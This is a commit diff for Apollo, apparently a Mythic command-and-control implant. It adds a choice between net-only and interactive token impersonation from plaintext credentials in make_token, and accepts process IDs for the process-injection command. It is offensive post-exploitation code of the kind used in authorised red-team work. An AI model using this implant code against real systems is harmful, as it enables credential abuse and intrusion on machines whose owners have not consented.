Skip to content

Commit a91df3c

Browse files
committed
updating make_token to allow interactive or netonly logons
1 parent 41e9fea commit a91df3c

File tree

6 files changed

+48
-11
lines changed

6 files changed

+48
-11
lines changed

Payload_Type/apollo/apollo/agent_code/Apollo/Management/Identity/IdentityManager.cs

+1-1
Original file line numberDiff line numberDiff line change
@@ -304,7 +304,7 @@ public bool SetIdentity(ApolloLogonInformation logonInfo)
304304
_userCredential.Username,
305305
_userCredential.Domain,
306306
_userCredential.Password,
307-
LogonType.LOGON32_LOGON_NEW_CREDENTIALS,
307+
_userCredential.NetOnly ? LogonType.LOGON32_LOGON_NEW_CREDENTIALS : LogonType.LOGON32_LOGON_INTERACTIVE,
308308
LogonProvider.LOGON32_PROVIDER_WINNT50,
309309
out hToken);
310310

Payload_Type/apollo/apollo/agent_code/Tasks/make_token.cs

+17-4
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,8 @@ internal struct MakeTokenParameters
2222
{
2323
[DataMember(Name = "credential")]
2424
public Credential Credential;
25+
[DataMember(Name = "netOnly")]
26+
public bool NetOnly;
2527
}
2628
public make_token(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data)
2729
{
@@ -47,15 +49,26 @@ public override void Start()
4749
ApolloLogonInformation info = new ApolloLogonInformation(
4850
parameters.Credential.Account,
4951
parameters.Credential.CredentialMaterial,
50-
parameters.Credential.Realm);
52+
parameters.Credential.Realm,
53+
parameters.NetOnly);
5154
if (_agent.GetIdentityManager().SetIdentity(info))
5255
{
5356
var cur = _agent.GetIdentityManager().GetCurrentImpersonationIdentity();
54-
resp = CreateTaskResponse(
55-
$"Successfully impersonated {cur.Name}",
57+
if (parameters.NetOnly)
58+
{
59+
resp = CreateTaskResponse(
60+
$"Successfully impersonated {cur.Name} for local access and {parameters.Credential.Realm}\\{parameters.Credential.Account} for remote access",
61+
true,
62+
"completed",
63+
new IMythicMessage[] { Artifact.PlaintextLogon(cur.Name, true) });
64+
} else
65+
{
66+
resp = CreateTaskResponse(
67+
$"Successfully impersonated {cur.Name} for local and remote access",
5668
true,
5769
"completed",
58-
new IMythicMessage[] {Artifact.PlaintextLogon(cur.Name, true)});
70+
new IMythicMessage[] { Artifact.PlaintextLogon(cur.Name, true) });
71+
}
5972
}
6073
else
6174
{

Payload_Type/apollo/apollo/mythic/agent_functions/builder.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -16,12 +16,12 @@
1616
class Apollo(PayloadType):
1717
name = "apollo"
1818
file_extension = "exe"
19-
author = "@djhohnstein"
19+
author = "@djhohnstein, @its_a_feature_"
2020
mythic_encrypts = True
2121
supported_os = [
2222
SupportedOS.Windows
2323
]
24-
version = "2.2.21"
24+
version = "2.2.22"
2525
wrapper = False
2626
wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"]
2727
note = """

Payload_Type/apollo/apollo/mythic/agent_functions/inject.py

+4
Original file line numberDiff line numberDiff line change
@@ -64,6 +64,9 @@ async def parse_arguments(self):
6464
if self.command_line[0] != "{":
6565
raise Exception("Inject requires JSON parameters and not raw command line.")
6666
self.load_args_from_json_string(self.command_line)
67+
supplied_dict = json.loads(self.command_line)
68+
if "process_id" in supplied_dict:
69+
self.add_arg("pid", int(supplied_dict["process_id"]))
6770
if self.get_arg("pid") == 0:
6871
raise Exception("Required non-zero PID")
6972

@@ -87,6 +90,7 @@ class InjectCommand(CommandBase):
8790
argument_class = InjectArguments
8891
attackmapping = ["T1055"]
8992
completion_functions = {"inject_callback": inject_callback}
93+
supported_ui_features = ["process_browser:inject"]
9094

9195
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
9296
response = PTTaskCreateTaskingMessageResponse(

Payload_Type/apollo/apollo/mythic/agent_functions/make_token.py

+22-2
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,25 @@ def __init__(self, command_line, **kwargs):
3838
required=True,
3939
ui_position=2
4040
)]
41+
),
42+
CommandParameter(
43+
name="netOnly",
44+
cli_name="netOnly",
45+
display_name="NetOnly Logon",
46+
description="NetOnly logons use the LOGON32_LOGON_NEW_CREDENTIALS API, otherwise LOGON32_LOGON_INTERACTIVE is used. NetOnly logons do not use make_token credentials locally, only remotely. Using Interactive logons means that the credentials are used locally as well.",
47+
default_value=True,
48+
type=ParameterType.Boolean,
49+
parameter_group_info=[
50+
ParameterGroupInfo(
51+
group_name="credential_store",
52+
required=False,
53+
ui_position=2
54+
),
55+
ParameterGroupInfo(
56+
ui_position=3,
57+
required=False,
58+
)
59+
]
4160
)
4261
]
4362

@@ -70,15 +89,16 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat
7089
taskData.args.remove_arg("password")
7190
usernamePieces = username.split("\\")
7291
if len(usernamePieces) != 2:
73-
raise Exception("username not in domain\\user format")
92+
usernamePieces = [taskData.Callback.Host, usernamePieces[0]]
7493
cred = {
7594
"type": "plaintext",
7695
"realm": usernamePieces[0],
7796
"credential": password,
7897
"account": usernamePieces[1]
7998
}
8099
taskData.args.add_arg("credential", cred, type=ParameterType.Credential_JSON)
81-
response.DisplayParams = "{}\\{} {}".format(cred.get("realm"), cred.get("account"), cred.get("credential"))
100+
response.DisplayParams = "{}\\{} {} ({})".format(cred.get("realm"), cred.get("account"), cred.get("credential"),
101+
"netOnly" if taskData.args.get_arg("netOnly") else "interactive")
82102
return response
83103

84104
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:

agent_capabilities.json

+2-2
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010
"payload_output": ["exe", "shellcode", "service"],
1111
"architectures": ["x86_64"],
1212
"c2": ["http", "smb", "tcp", "websocket"],
13-
"mythic_version": "3.3.1-rc28",
14-
"agent_version": "2.2.21",
13+
"mythic_version": "3.3.1-rc35",
14+
"agent_version": "2.2.22",
1515
"supported_wrappers": ["service_wrapper", "scarecrow_wrapper"]
1616
}

0 commit comments

Comments
 (0)